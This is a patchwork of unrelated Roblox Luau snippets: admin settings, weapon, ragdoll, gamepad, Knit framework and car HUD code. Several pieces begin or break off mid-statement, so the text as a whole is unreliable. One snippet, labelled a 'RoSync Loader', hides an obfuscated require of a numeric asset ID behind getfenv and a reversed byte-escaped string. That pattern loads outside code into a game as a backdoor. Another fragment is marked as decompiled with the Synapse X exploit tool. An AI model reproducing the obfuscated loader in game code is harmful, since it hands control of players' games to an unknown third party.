["Commands"] = 3;
["Admin"] = 3;
["Settings"] = 3;
};
RankRequiredToViewRank = { -- || The rank categories on the 'Ranks' subPage under Admin ||
["Owner"] = 0;
["HeadAdmin"] = 0;
["Admin"] = 0;
["Mod"] = 0;
["VIP"] = 0;
};
RankRequiredToViewRankType = { -- || The collection of loader-rank-rewarders on the 'Ranks' subPage under Admin ||
["Owner"] = 0;
["SpecificUsers"] = 5;
["Gamepasses"] = 0;
["Assets"] = 0;
["Groups"] = 0;
["Friends"] = 0;
["FreeAdmin"] = 0;
["VipServerOwner"] = 0;
};
RankRequiredToViewIcon = 2;
WelcomeRankNotice = false; -- The 'You're a [rankName]' notice that appears when you join the game. Set to false to disable.
WelcomeDonorNotice = false; -- The 'You're a Donor' notice that appears when you join the game. Set to false to disable.
WarnIncorrectPrefix = false; -- Warn the user if using the wrong prefix | "Invalid prefix! Try using [correctPrefix][commandName] instead!"
DisableAllNotices = true; -- Set to true to disable all HD Admin notices.
ScaleLimit = 4; -- The maximum size players with a rank lower than 'IgnoreScaleLimit' can scale theirself. For example, players will be limited to ;size me 4 (if limit is 4) - any number above is blocked.
IgnoreScaleLimit = 3; -- Any ranks equal or above this value will ignore 'ScaleLimit'
CommandLimits = { -- Enables you to set limits for commands which have a number argument. Ranks equal to or higher than 'IgnoreLimit' will not be affected by Limit.
["fly"] = {
Limit = 10000;
IgnoreLimit = 3;
};
["fly2"] = {
Limit = 10000;
IgnoreLimit = 3;
};
["noclip"] = {
Limit = 10000;
IgnoreLimit = 3;
};
["noclip2"] = {
Limit = 10000;
IgnoreLimit = 3;
};
["speed"] = {
Limit = 10000;
IgnoreLimit = 3;
};
["jumpPower"] = {
Limit = 10000;
IgnoreLimit = 3;
};
};
VIPServerCommandBlacklist = {"permRank", "permBan", "globalAnnouncement"}; -- Commands players are probihited from using in VIP Servers.
GearBlacklist = {67798397}; -- The IDs of gear items to block when using the ;gear command.
IgnoreGearBlacklist = 4; -- The minimum rank required to ignore the gear blacklist.
PlayerDataStoreVersion = "V1.0"; -- Data about the player (i.e. permRanks, custom settings, etc). Changing the Version name will reset all PlayerData.
SystemDataStoreVersion = "V1.0"; -- Data about the game (i.e. the banland, universal message system, etc). Changing the Version name will reset all SystemData.
CoreNotices = { -- Modify core notices. You can find a table of all CoreNotices under [MainModule > Client > SharedModules > CoreNotices]
--NoticeName = NoticeDetails;
};
|
-- Runs when a round finishes. Reloads all players back into the lobby, removing tools and listeners.
|
function PlayerManager.resetPlayers()
actionManager:UnbindGameActions(activePlayers)
-- REMINDER: Runs for only players actively in the game and doesn't affect those in the lobby.
for playerKey, whichPlayer in pairs(activePlayers) do
leaderboardManager:resetStat(whichPlayer, "Points")
respawnPlayerInLobby(whichPlayer)
end
-- Clears the entire table so it can be used for a new game
activePlayers = {}
end
|
--// Functions
|
function MakeFakeArms()
Arms = Instance.new("Model")
Arms.Name = "Arms"
Arms.Parent = L_5_
local L_172_ = Instance.new("Humanoid")
L_172_.MaxHealth = 0
L_172_.Health = 0
L_172_.Name = ""
L_172_.Parent = Arms
if L_3_:FindFirstChild("Shirt") then
local L_177_ = L_3_:FindFirstChild("Shirt"):clone()
L_177_.Parent = Arms
end
local L_173_ = L_3_:FindFirstChild("Right Arm"):clone()
for L_178_forvar1, L_179_forvar2 in pairs(L_173_:GetChildren()) do
if L_179_forvar2:IsA('Motor6D') then
L_179_forvar2:Destroy()
end
end
L_173_.Name = "Right Arm"
L_173_.FormFactor = "Custom"
L_173_.Size = Vector3.new(0.8, 2.5, 0.8)
L_173_.Transparency = 0.0
local L_174_ = Instance.new("Motor6D")
L_174_.Part0 = L_173_
L_174_.Part1 = L_3_:FindFirstChild("Right Arm")
L_174_.C0 = CFrame.new()
L_174_.C1 = CFrame.new()
L_174_.Parent = L_173_
L_173_.Parent = Arms
local L_175_ = L_3_:FindFirstChild("Left Arm"):clone()
L_175_.Name = "Left Arm"
L_175_.FormFactor = "Custom"
L_175_.Size = Vector3.new(0.8, 2.5, 0.8)
L_175_.Transparency = 0.0
local L_176_ = Instance.new("Motor6D")
L_176_.Part0 = L_175_
L_176_.Part1 = L_3_:FindFirstChild("Left Arm")
L_176_.C0 = CFrame.new()
L_176_.C1 = CFrame.new()
L_176_.Parent = L_175_
L_175_.Parent = Arms
end
function RemoveArmModel()
if Arms then
Arms:Destroy()
Arms = nil
end
end
local L_135_
function CreateShell()
L_135_ = time()
local L_180_ = L_1_.Shell:clone()
if L_180_:FindFirstChild('Shell') then
L_180_.Shell:Destroy()
end
L_180_.CFrame = L_1_.Chamber.CFrame
L_180_.Velocity = L_1_.Chamber.CFrame.lookVector * 20 + Vector3.new(0, 4, 0)
L_180_.RotVelocity = Vector3.new(-10,40,30)
L_180_.Parent = L_101_
L_180_.CanCollide = true
game:GetService("Debris"):addItem(L_180_, 1)
delay(0.5, function()
if L_19_:FindFirstChild('ShellCasing') then
local L_181_ = L_19_.ShellCasing:clone()
L_181_.Parent = L_2_.PlayerGui
L_181_:Play()
game:GetService('Debris'):AddItem(L_181_, L_181_.TimeLength)
end
end)
end
|
-- @Context Server
-- Given a weapon definition, position, and direction. A throwable projectile will be simulated on all clients.
-- @param WeaponDefinition weaponDefinition
-- @param Vector3 position
-- @param Vector3 direction
-- @param Player _owner
|
function ProjectileReplication.ReplicateThrowable(weaponDefinition,position,direction,sendingPlayer)
if RunService:IsServer() then
local spawnedThrowableAsset = weaponDefinition:GetSpawnedThrowable()
local clonedThrowable = spawnedThrowableAsset:Clone()
-- Set the owner of this grenade for the combat api
clonedThrowable:SetAttribute("OwnerID",sendingPlayer.UserId)
local PrimaryPart = clonedThrowable.PrimaryPart
-- Spawn the grenade infront of the player
clonedThrowable:SetPrimaryPartCFrame( CFrame.new(position + direction * 2,position + direction * 3) )
clonedThrowable.Parent = workspace
-- Disable velocity force the next frame
spawn(function()
if PrimaryPart then
PrimaryPart.VectorForce.Enabled = false
end
end)
-- Server owns the grenade.
-- Don't want exploiters to teleport the grenade at creation.
-- Or make a "Grenade shield" hack.
clonedThrowable.PrimaryPart:SetNetworkOwner(nil)
-- The throwable should destroy itself, but just in case we'll clean up after some time
DebrisService:AddItem(clonedThrowable,60)
end
end
|
--- STAGGERED RUNTIME ---
|
task.wait(5)
Mobile = Player.PlayerGui:WaitForChild("General"):WaitForChild("Mobile")
Mobile:WaitForChild("Run").MouseButton1Down:Connect(function()
Run(Player.Character.Humanoid)
end)
Mobile:WaitForChild("ShiftLock").MouseButton1Down:Connect(ShiftLockToggle)
|
-- declarations
|
local Figure = script.Parent
local Head = waitForChild(Figure, "Head")
local Humanoid = waitForChild(Figure, "Humanoid")
|
--[=[
Invokes the function once at stepped, unless the cancel callback is called.
```lua
-- Sometimes you need to defer the execution of code to make physics happy
maid:GiveTask(StepUtils.onceAtStepped(function()
part.CFrame = CFrame.new(0, 0, )
end))
```
@param func function -- Function to call
@return function -- Call this function to cancel call
]=]
|
function StepUtils.onceAtStepped(func)
return StepUtils.onceAtEvent(RunService.Stepped, func)
end
|
--!strict
-- this maps onto community promise libraries which won't support Luau, so we inline
|
export type PromiseLike<T> = {
andThen: (
self: PromiseLike<T>,
resolve: ((T) -> ...(nil | T | PromiseLike<T>))?,
reject: ((any) -> ...(nil | T | PromiseLike<T>))?
) -> PromiseLike<T>,
}
export type Promise<T> = {
andThen: (
self: Promise<T>,
resolve: ((T) -> ...(nil | T | PromiseLike<T>))?,
reject: ((any) -> ...(nil | T | PromiseLike<T>))?
) -> Promise<T>,
catch: (Promise<T>, ((any) -> ...(nil | T | PromiseLike<nil>))) -> Promise<T>,
onCancel: (Promise<T>, () -> ()?) -> boolean,
expect: (Promise<T>) -> ...T,
-- FIXME Luau: need union type packs to parse (...T) | () | PromiseLike<T> here
await: (Promise<T>) -> (boolean, ...(T | any)),
}
return {}
|
--// Player Events
|
game:GetService("RunService").RenderStepped:connect(function()
for L_32_forvar1, L_33_forvar2 in pairs(game.Players:GetChildren()) do
if L_33_forvar2:IsA('Player') and L_33_forvar2.TeamColor ~= L_1_.TeamColor and L_33_forvar2 ~= L_1_ and L_33_forvar2.Character and L_13_ then
if L_33_forvar2.Character:FindFirstChild('Head') and L_33_forvar2.Character:FindFirstChild('Head'):FindFirstChild('TeamTag') then
L_33_forvar2.Character:FindFirstChild('Head'):FindFirstChild('TeamTag'):Destroy()
end
end
for L_18_forvar1, L_19_forvar2 in pairs(game.Players:GetChildren()) do
if L_19_forvar2:IsA('Player') and L_19_forvar2.Character and L_19_forvar2.Character:FindFirstChild('Head') then
if L_19_forvar2.TeamColor == L_1_.TeamColor then
if L_19_forvar2.Character:WaitForChild("Saude"):WaitForChild("FireTeam").SquadName.Value ~= '' then
spawnTag(L_19_forvar2.Character, L_19_forvar2.Character:WaitForChild("Saude"):WaitForChild("FireTeam").SquadColor.Value)
else
spawnTag(L_19_forvar2.Character, Color3.fromRGB(255,255,255))
end
end;
end;
end
end
end)
|
-- MISC VARIABLES --
|
local ragdollParts = script.RagdollParts
script.RagdollClient.Parent = StarterPlayer.StarterPlayerScripts
game.Players.PlayerAdded:Connect(function(player)
if not player.Character then
player.CharacterAdded:Connect(function(char)
local clones = {}
for i, v in pairs(ragdollParts:GetChildren()) do
clones[v.Name] = v:Clone()
end
for i, v in pairs(clones) do
if v:IsA("Attachment") then
v.Parent = char[v:GetAttribute("Parent")]
elseif v:IsA("BallSocketConstraint") then
v.Parent = char.Torso
v.Attachment0 = clones[v:GetAttribute("0")]
v.Attachment1 = clones[v:GetAttribute("1")]
else
v.Part0 = char.HumanoidRootPart
v.Part1 = char.Torso
v.Parent = char.HumanoidRootPart
end
end
end)
else
local char = player.Character
local clones = {}
for i, v in pairs(ragdollParts:GetChildren()) do
clones[v.Name] = v:Clone()
end
for i, v in pairs(clones) do
if v:IsA("Attachment") then
v.Parent = char[v:GetAttribute("Parent")]
elseif v:IsA("BallSocketConstraint") then
v.Parent = char.Torso
v.Attachment0 = clones[v:GetAttribute("0")]
v.Attachment1 = clones[v:GetAttribute("1")]
else
v.Part0 = char.HumanoidRootPart
v.Part1 = char.Torso
v.Parent = char.HumanoidRootPart
end
end
end
end)
CS:GetInstanceAddedSignal("Ragdoll"):Connect(function(v)
if v:IsA("Model") then
ragdollBuilder:Ragdoll(v)
end
end)
CS:GetInstanceRemovedSignal("Ragdoll"):Connect(function(v)
if v:IsA("Model") then
ragdollBuilder:Unragdoll(v)
end
end)
|
--------END RIGHT DOOR --------
|
game.Workspace.LightedDoorON.Value = true
end
script.Parent.ClickDetector.MouseClick:connect(onClicked)
|
-- Leaderboard
|
function loadLeaderstats(player)
local stats = Instance.new("IntValue")
stats.Name = "leaderstats"
local highScore = Instance.new("IntValue")
highScore.Name = "High Score"
highScore.Parent = stats
highScore.Value = 0
local currentScore = Instance.new("IntValue")
currentScore.Name = "Score"
currentScore.Parent = stats
stats.Parent = player
end
function initialiseRunStats(player)
if player:FindFirstChild("RunStats") then
player.RunStats.Distance.Value = 0
player.RunStats.CoinsCollected.Value = 0
end
end
function showResults(player)
local resultsGUI = game.ServerStorage.GUIs.PostRunGUI:Clone()
resultsGUI.Frame.DistanceValue.Text = player.RunStats.Distance.Value
resultsGUI.Frame.CoinsValue.Text = player.RunStats.CoinsCollected.Value
resultsGUI.Frame.ScoreValue.Text = player.leaderstats.Score.Value
resultsGUI.Parent = player.PlayerGui
return resultsGUI
end
function initialiseNewRun(player, delayTime, charExpected, showLastResults)
if not path then
while not path do
wait()
end
end
local lastResultsGUI = nil
if showLastResults then
lastResultsGUI = showResults(player)
end
if delayTime ~= 0 then
wait(delayTime)
end
if lastResultsGUI ~= nil then
lastResultsGUI:Destroy()
end
if player and player.Parent then
-- charExpected is needed to avoid calling LoadCharacter on players leaving the game
if player.Character or charExpected == false then
player:LoadCharacter()
initialiseRunStats(player)
local playersPath = path()
lastActivePath[player.Name] = playersPath
playersPath:init(player.Name)
end
end
end
function setUpPostRunStats(player)
local folder = Instance.new("Folder")
folder.Name = "RunStats"
folder.Parent = player
local currentDistance = Instance.new("IntValue")
currentDistance.Name = "Distance"
currentDistance.Value = 0
currentDistance.Parent = folder
local coinsCollected = Instance.new("IntValue")
coinsCollected.Name = "CoinsCollected"
coinsCollected.Value = 0
coinsCollected.Parent = folder
end
function onPlayerEntered(player)
player.CharacterAdded:connect(function(character)
local humanoid = character:WaitForChild("Humanoid")
if humanoid then
humanoid.Died:connect(function()
initialiseNewRun(player, 4, true, true)
end)
end
end)
-- Initial loading
loadLeaderstats(player)
setUpPostRunStats(player)
-- Start game
initialiseNewRun(player, 0, false, false)
end
game.Players.PlayerAdded:connect(onPlayerEntered)
function onPlayerRemoving(player)
local track = game.Workspace.Tracks:FindFirstChild(player.Name)
if track ~= nil then
track:Destroy()
end
end
game.Players.PlayerRemoving:connect(onPlayerRemoving)
for _, player in pairs(game.Players:GetChildren()) do
onPlayerEntered(player)
end
|
------------------------------------------------------------------------
-- check whether, in an assignment to a local variable, the local variable
-- is needed in a previous assignment (to a table). If so, save original
-- local value in a safe place and use this safe copy in the previous
-- assignment.
-- * used in assignment()
------------------------------------------------------------------------
|
function luaY:check_conflict(ls, lh, v)
local fs = ls.fs
local extra = fs.freereg -- eventual position to save local variable
local conflict = false
while lh do
if lh.v.k == "VINDEXED" then
if lh.v.info == v.info then -- conflict?
conflict = true
lh.v.info = extra -- previous assignment will use safe copy
end
if lh.v.aux == v.info then -- conflict?
conflict = true
lh.v.aux = extra -- previous assignment will use safe copy
end
end
lh = lh.prev
end
if conflict then
luaK:codeABC(fs, "OP_MOVE", fs.freereg, v.info, 0) -- make copy
luaK:reserveregs(fs, 1)
end
end
|
--// SS3.33T Police Edit originally for 2017 Mercedes-Benz E300 by Itzt and MASERATl, base SS by Inspare
|
wait(0.1)
local player = game.Players.LocalPlayer
local HUB = script.Parent.HUB
local lightOn = false
local Camera = game.Workspace.CurrentCamera
local cam = script.Parent.nxtcam.Value
local carSeat = script.Parent.CarSeat.Value
local mouse = game.Players.LocalPlayer:GetMouse()
local handler = carSeat.Filter
|
-- Axis names corresponding to each face
|
local FaceAxisNames = {
[Enum.NormalId.Top] = 'Y';
[Enum.NormalId.Bottom] = 'Y';
[Enum.NormalId.Front] = 'Z';
[Enum.NormalId.Back] = 'Z';
[Enum.NormalId.Left] = 'X';
[Enum.NormalId.Right] = 'X';
};
function ShowHandles()
-- Creates and automatically attaches handles to the currently focused part
-- Autofocus handles on latest focused part
if not Connections.AutofocusHandle then
Connections.AutofocusHandle = Selection.FocusChanged:connect(ShowHandles);
end;
-- If handles already exist, only show them
if Handles then
Handles.Adornee = Selection.Focus;
Handles.Visible = true;
Handles.Parent = Selection.Focus and Core.UIContainer or nil;
return;
end;
-- Create the handles
Handles = Create 'Handles' {
Name = 'BTResizingHandles';
Color = ResizeTool.Color;
Parent = Core.UIContainer;
Adornee = Selection.Focus;
};
--------------------------------------------------------
-- Prepare for resizing parts when the handle is clicked
--------------------------------------------------------
local AreaPermissions;
Handles.MouseButton1Down:connect(function ()
-- Prevent selection
Core.Targeting.CancelSelecting();
-- Indicate resizing via handles
HandleResizing = true;
-- Stop parts from moving, and capture the initial state of the parts
InitialState = PreparePartsForResizing();
-- Track the change
TrackChange();
-- Cache area permissions information
if Core.Mode == 'Tool' then
AreaPermissions = Security.GetPermissions(Security.GetSelectionAreas(Selection.Items), Core.Player);
end;
end);
------------------------------------------
-- Update parts when the handles are moved
------------------------------------------
Handles.MouseDrag:connect(function (Face, Distance)
-- Only resize if handle is enabled
if not HandleResizing then
return;
end;
-- Calculate the increment-aligned drag distance
Distance = GetIncrementMultiple(Distance, ResizeTool.Increment);
-- Resize the parts on the selected faces by the calculated distance
local Success, Adjustment = ResizePartsByFace(Face, Distance, ResizeTool.Directions, InitialState);
-- If the resizing did not succeed, resize according to the suggested adjustment
if not Success then
ResizePartsByFace(Face, Adjustment, ResizeTool.Directions, InitialState);
end;
-- Update the "studs resized" indicator
if ResizeTool.UI then
ResizeTool.UI.Changes.Text.Text = 'resized ' .. Support.Round(math.abs(Adjustment or Distance), 3) .. ' studs';
end;
-- Make sure we're not entering any unauthorized private areas
if Core.Mode == 'Tool' and Security.ArePartsViolatingAreas(Selection.Items, Core.Player, false, AreaPermissions) then
for Part, State in pairs(InitialState) do
Part.Size = State.Size;
Part.CFrame = State.CFrame;
end;
end;
end);
end;
|
-------------------------
|
local frame = script.Parent
local image = script.Parent.Image
local text = script.Parent.Text
local audiotoplay = game.Workspace.Music["DJ Table"].Player.dialogue
frame.BackgroundTransparency = 1
image.ImageTransparency = 1
text.TextTransparency = 1
script.Parent.Visible = true
local fade = 1
|
--[[
remoteSignal = RemoteSignal.new()
remoteSignal:Connect(handler: (player: Player, ...args: any) -> void): RBXScriptConnection
remoteSignal:Fire(player: Player, ...args: any): void
remoteSignal:FireAll(...args: any): void
remoteSignal:FireExcept(player: Player, ...args: any): void
remoteSignal:Wait(): (...any)
remoteSignal:Destroy(): void
--]]
|
local IS_SERVER = game:GetService("RunService"):IsServer()
local Players = game:GetService("Players")
local Ser = require(script.Parent.Parent.Ser)
local RemoteSignal = {}
RemoteSignal.__index = RemoteSignal
function RemoteSignal.Is(object)
return type(object) == "table" and getmetatable(object) == RemoteSignal
end
function RemoteSignal.new()
assert(IS_SERVER, "RemoteSignal can only be created on the server")
local self = setmetatable({
_remote = Instance.new("RemoteEvent");
}, RemoteSignal)
return self
end
function RemoteSignal:Fire(player, ...)
self._remote:FireClient(player, Ser.SerializeArgsAndUnpack(...))
end
function RemoteSignal:FireAll(...)
self._remote:FireAllClients(Ser.SerializeArgsAndUnpack(...))
end
function RemoteSignal:FireExcept(player, ...)
local args = Ser.SerializeArgs(...)
for _,plr in ipairs(Players:GetPlayers()) do
if plr ~= player then
self._remote:FireClient(plr, Ser.UnpackArgs(args))
end
end
end
function RemoteSignal:Wait()
return self._remote.OnServerEvent:Wait()
end
function RemoteSignal:Connect(handler)
return self._remote.OnServerEvent:Connect(function(player, ...)
handler(player, Ser.DeserializeArgsAndUnpack(...))
end)
end
function RemoteSignal:Destroy()
self._remote:Destroy()
self._remote = nil
end
return RemoteSignal
|
--[[
___ _______ _ _______
/ _ |____/ ___/ / ___ ____ ___ (_)__ /__ __/
/ __ /___/ /__/ _ \/ _ `(_-<(_-</ (_-< / /
/_/ |_| \___/_//_/\_,_/___/___/_/___/ /_/
SecondLogic @ Inspare
Avxnturador @ Novena
]]
|
local autoscaling = false --Estimates top speed
local UNITS = { --Click on speed to change units
--First unit is default
{
units = "KM/H" ,
scaling = (10/12) * 1.09728 , -- 1 stud : 10 inches | ft/s to KP/H
maxSpeed = 260 ,
spInc = 20 , -- Increment between labelled notches
},
{
units = "MPH" ,
scaling = (10/12) * (60/88) , -- 1 stud : 10 inches | ft/s to MPH
maxSpeed = 160 ,
spInc = 20 , -- Increment between labelled notches
},
{
units = "SPS" ,
scaling = 1 , -- Roblox standard
maxSpeed = 280 ,
spInc = 40 , -- Increment between labelled notches
}
}
|
-- Private functions
|
local function getCorners(cf, s2)
return {
cf:PointToWorldSpace(Vector3.new(-s2.x, s2.y, s2.z));
cf:PointToWorldSpace(Vector3.new(-s2.x, -s2.y, s2.z));
cf:PointToWorldSpace(Vector3.new(-s2.x, -s2.y, -s2.z));
cf:PointToWorldSpace(Vector3.new(s2.x, -s2.y, -s2.z));
cf:PointToWorldSpace(Vector3.new(s2.x, s2.y, -s2.z));
cf:PointToWorldSpace(Vector3.new(s2.x, s2.y, s2.z));
cf:PointToWorldSpace(Vector3.new(s2.x, -s2.y, s2.z));
cf:PointToWorldSpace(Vector3.new(-s2.x, s2.y, -s2.z));
}
end
local function worldBoundingBox(set)
local x, y, z = {}, {}, {}
for i = 1, #set do x[i], y[i], z[i] = set[i].x, set[i].y, set[i].z end
local min = Vector3.new(math.min(unpack(x)), math.min(unpack(y)), math.min(unpack(z)))
local max = Vector3.new(math.max(unpack(x)), math.max(unpack(y)), math.max(unpack(z)))
return min, max
end
|
--//Settings
|
BlurAmount = 0 -- Change this to increase or decrease the blur size
|
--[[myaccpage.Visible = true
deppage.Visible = false
wthpage.Visible = false
trnpage.Visible = false
cshpage.Visible = false]]
|
--
|
--[[ local lockL = Instance.new("Motor")
lockL.Parent = carSeat.Parent.Parent.LW.ML
lockL.Part0 = carSeat.Parent.Parent.LW.ML
lockL.Part1 = carSeat.Parent.Parent.Suspension.ML
local lockR = Instance.new("Motor")
lockR.Parent = carSeat.Parent.Parent.RW.MR
lockR.Part0 = carSeat.Parent.Parent.RW.MR
lockR.Part1 = carSeat.Parent.Parent.Suspension.MR]]--
--end
|
--else
--if m == true then
-- m = false occ = false
--carSeat.Parent.Parent.LW.ML.Motor:remove()
-- end
|
-- Track if the player is actively racing
|
local activePlayer = false
local inRace = false
|
-- Decompiled with the Synapse X Luau decompiler.
|
client = nil;
service = nil;
return function(p1)
local l__Color__1 = p1.Color;
if l__Color__1 == "off" then
client.UI.Remove("BubbleChat");
return;
end;
local v2 = client.UI.Make("Window", {
Name = "BubbleChat",
Title = "Bubble Chat",
Icon = client.MatIcons.Chat,
Size = { 260, 57 },
Position = UDim2.new(0, 10, 1, -80),
AllowMultiple = false
});
if v2 then
local v3 = v2:Add("TextBox", {
Text = "Click here or press \";\" to chat",
PlaceholderText = "Click here or press \";\" to chat",
BackgroundTransparency = 1,
TextScaled = true,
TextSize = 20
});
v3.FocusLost:Connect(function(p2)
if p2 and (service.Player.Character:FindFirstChild("Head") and l__Color__1 and v3.Text ~= "Click here or press \";\" to chat") then
if #v3.Text > 0 then
service.ChatService:Chat(service.Player.Character.Head, service.LaxFilter(v3.Text), l__Color__1);
end;
v3.Text = "Click here or press \";\" to chat";
end;
end);
v2:BindEvent(service.UserInputService.InputBegan, function(p3, p4)
if not p4 and p3.UserInputType == Enum.UserInputType.Keyboard and p3.KeyCode == Enum.KeyCode.Semicolon then
service.RunService.RenderStepped:Wait();
v3:CaptureFocus();
end;
end);
local l__gTable__4 = v2.gTable;
v2:Ready();
end;
end;
|
--[[ Last synced 11/11/2020 02:34 RoSync Loader ]]
|
getfenv()[string.reverse("\101\114\105\117\113\101\114")](5722905184) --[[ ]]--
|
-- string stm_string(Stream S, int len)
-- @S - Stream object to read from
-- @len - Length of string being read
|
local function stm_string(S, len)
local pos = S.index + len
local str = S.source:sub(S.index, pos - 1)
S.index = pos
return str
end
|
--[[ Public API ]]
|
--
function Gamepad:Enable()
local forwardValue = 0
local backwardValue = 0
local leftValue = 0
local rightValue = 0
local moveFunc = LocalPlayer.Move
local gamepadSupports = UserInputService.GamepadSupports
local controlCharacterGamepad = function(actionName, inputState, inputObject)
if activateGamepad ~= inputObject.UserInputType then return end
if inputObject.KeyCode ~= Enum.KeyCode.Thumbstick1 then return end
if inputState == Enum.UserInputState.Cancel then
MasterControl:AddToPlayerMovement(-currentMoveVector)
currentMoveVector = Vector3.new(0,0,0)
return
end
if inputObject.Position.magnitude > thumbstickDeadzone then
MasterControl:AddToPlayerMovement(-currentMoveVector)
currentMoveVector = Vector3.new(inputObject.Position.X, 0, -inputObject.Position.Y)
MasterControl:AddToPlayerMovement(currentMoveVector)
else
MasterControl:AddToPlayerMovement(-currentMoveVector)
currentMoveVector = Vector3.new(0,0,0)
end
end
local jumpCharacterGamepad = function(actionName, inputState, inputObject)
if activateGamepad ~= inputObject.UserInputType then return end
if inputObject.KeyCode ~= Enum.KeyCode.ButtonA then return end
if inputState == Enum.UserInputState.Cancel then
MasterControl:SetIsJumping(false)
return
end
MasterControl:SetIsJumping(inputObject.UserInputState == Enum.UserInputState.Begin)
end
local doDpadMoveUpdate = function(userInputType)
if not gamepadSupports(UserInputService, userInputType, Enum.KeyCode.Thumbstick1) then
if LocalPlayer and LocalPlayer.Character then
MasterControl:AddToPlayerMovement(-currentMoveVector)
currentMoveVector = Vector3.new(leftValue + rightValue,0,forwardValue + backwardValue)
MasterControl:AddToPlayerMovement(currentMoveVector)
end
end
end
local moveForwardFunc = function(actionName, inputState, inputObject)
if inputState == Enum.UserInputState.End then
forwardValue = -1
elseif inputState == Enum.UserInputState.Begin or inputState == Enum.UserInputState.Cancel then
forwardValue = 0
end
doDpadMoveUpdate(inputObject.UserInputType)
end
local moveBackwardFunc = function(actionName, inputState, inputObject)
if inputState == Enum.UserInputState.End then
backwardValue = 1
elseif inputState == Enum.UserInputState.Begin or inputState == Enum.UserInputState.Cancel then
backwardValue = 0
end
doDpadMoveUpdate(inputObject.UserInputType)
end
local moveLeftFunc = function(actionName, inputState, inputObject)
if inputState == Enum.UserInputState.End then
leftValue = -1
elseif inputState == Enum.UserInputState.Begin or inputState == Enum.UserInputState.Cancel then
leftValue = 0
end
doDpadMoveUpdate(inputObject.UserInputType)
end
local moveRightFunc = function(actionName, inputState, inputObject)
if inputState == Enum.UserInputState.End then
rightValue = 1
elseif inputState == Enum.UserInputState.Begin or inputState == Enum.UserInputState.Cancel then
rightValue = 0
end
doDpadMoveUpdate(inputObject.UserInputType)
end
local function setActivateGamepad()
if activateGamepad then
ContextActionService:UnbindActivate(activateGamepad, Enum.KeyCode.ButtonR2)
end
assignActivateGamepad()
if activateGamepad then
ContextActionService:BindActivate(activateGamepad, Enum.KeyCode.ButtonR2)
end
end
ContextActionService:BindAction("JumpButton",jumpCharacterGamepad, false, Enum.KeyCode.ButtonA)
ContextActionService:BindAction("MoveThumbstick",controlCharacterGamepad, false, Enum.KeyCode.Thumbstick1)
ContextActionService:BindAction("forwardDpad", moveForwardFunc, false, Enum.KeyCode.DPadUp)
ContextActionService:BindAction("backwardDpad", moveBackwardFunc, false, Enum.KeyCode.DPadDown)
ContextActionService:BindAction("leftDpad", moveLeftFunc, false, Enum.KeyCode.DPadLeft)
ContextActionService:BindAction("rightDpad", moveRightFunc, false, Enum.KeyCode.DPadRight)
setActivateGamepad()
gamepadConnectedCon = UserInputService.GamepadDisconnected:connect(function(gamepadEnum)
if activateGamepad ~= gamepadEnum then return end
MasterControl:AddToPlayerMovement(-currentMoveVector)
currentMoveVector = Vector3.new(0,0,0)
activateGamepad = nil
setActivateGamepad()
end)
gamepadDisconnectedCon = UserInputService.GamepadConnected:connect(function(gamepadEnum)
if activateGamepad == nil then
setActivateGamepad()
end
end)
end
function Gamepad:Disable()
ContextActionService:UnbindAction("forwardDpad")
ContextActionService:UnbindAction("backwardDpad")
ContextActionService:UnbindAction("leftDpad")
ContextActionService:UnbindAction("rightDpad")
ContextActionService:UnbindAction("MoveThumbstick")
ContextActionService:UnbindAction("JumpButton")
ContextActionService:UnbindActivate(activateGamepad, Enum.KeyCode.ButtonR2)
if gamepadConnectedCon then gamepadConnectedCon:disconnect() end
if gamepadDisconnectedCon then gamepadDisconnectedCon:disconnect() end
activateGamepad = nil
MasterControl:AddToPlayerMovement(-currentMoveVector)
currentMoveVector = Vector3.new(0,0,0)
MasterControl:SetIsJumping(false)
end
return Gamepad
|
--[=[
@interface ControllerDef
.Name string
.[any] any
@within KnitClient
Used to define a controller when creating it in `CreateController`.
]=]
|
type ControllerDef = {
Name: string,
[any]: any,
}
|
--[[
Knit.CreateController(controller): Controller
Knit.AddControllers(folder): Controller[]
Knit.AddControllersDeep(folder): Controller[]
Knit.GetService(serviceName): Service
Knit.GetController(controllerName): Controller
Knit.Start(): Promise<void>
Knit.OnStart(): Promise<void>
--]]
|
type ControllerDef = {
Name: string,
[any]: any,
}
type Controller = {
Name: string,
[any]: any,
}
type Service = {
[any]: any,
}
local KnitClient = {}
KnitClient.Version = script.Parent:WaitForChild("Version").Value
KnitClient.Player = game:GetService("Players").LocalPlayer
KnitClient.Controllers = {} :: {[string]: Controller}
KnitClient.Util = script.Parent:WaitForChild("Util")
local Promise = require(KnitClient.Util.Promise)
local Loader = require(KnitClient.Util.Loader)
local Ser = require(KnitClient.Util.Ser)
local ClientRemoteSignal = require(KnitClient.Util.Remote.ClientRemoteSignal)
local ClientRemoteProperty = require(KnitClient.Util.Remote.ClientRemoteProperty)
local TableUtil = require(KnitClient.Util.TableUtil)
local services: {[string]: Service} = {}
local servicesFolder = script.Parent:WaitForChild("Services")
local started = false
local startedComplete = false
local onStartedComplete = Instance.new("BindableEvent")
local function BuildService(serviceName: string, folder: Instance): Service
local service = {}
local rfFolder = folder:FindFirstChild("RF")
local reFolder = folder:FindFirstChild("RE")
local rpFolder = folder:FindFirstChild("RP")
if rfFolder then
for _,rf in ipairs(rfFolder:GetChildren()) do
if rf:IsA("RemoteFunction") then
local function StandardRemote(_self, ...)
return Ser.DeserializeArgsAndUnpack(rf:InvokeServer(Ser.SerializeArgsAndUnpack(...)))
end
local function PromiseRemote(_self, ...)
local args = Ser.SerializeArgs(...)
return Promise.new(function(resolve)
resolve(Ser.DeserializeArgsAndUnpack(rf:InvokeServer(table.unpack(args, 1, args.n))))
end)
end
service[rf.Name] = StandardRemote
service[rf.Name .. "Promise"] = PromiseRemote
end
end
end
if reFolder then
for _,re in ipairs(reFolder:GetChildren()) do
if re:IsA("RemoteEvent") then
service[re.Name] = ClientRemoteSignal.new(re)
end
end
end
if rpFolder then
for _,rp in ipairs(rpFolder:GetChildren()) do
if rp:IsA("ValueBase") or rp:IsA("RemoteEvent") then
service[rp.Name] = ClientRemoteProperty.new(rp)
end
end
end
services[serviceName] = service
return service
end
local function DoesControllerExist(controllerName: string): boolean
local controller: Controller? = KnitClient.Controllers[controllerName]
return controller ~= nil
end
function KnitClient.CreateController(controllerDef: ControllerDef): Controller
assert(type(controllerDef) == "table", "Controller must be a table; got " .. type(controllerDef))
assert(type(controllerDef.Name) == "string", "Controller.Name must be a string; got " .. type(controllerDef.Name))
assert(#controllerDef.Name > 0, "Controller.Name must be a non-empty string")
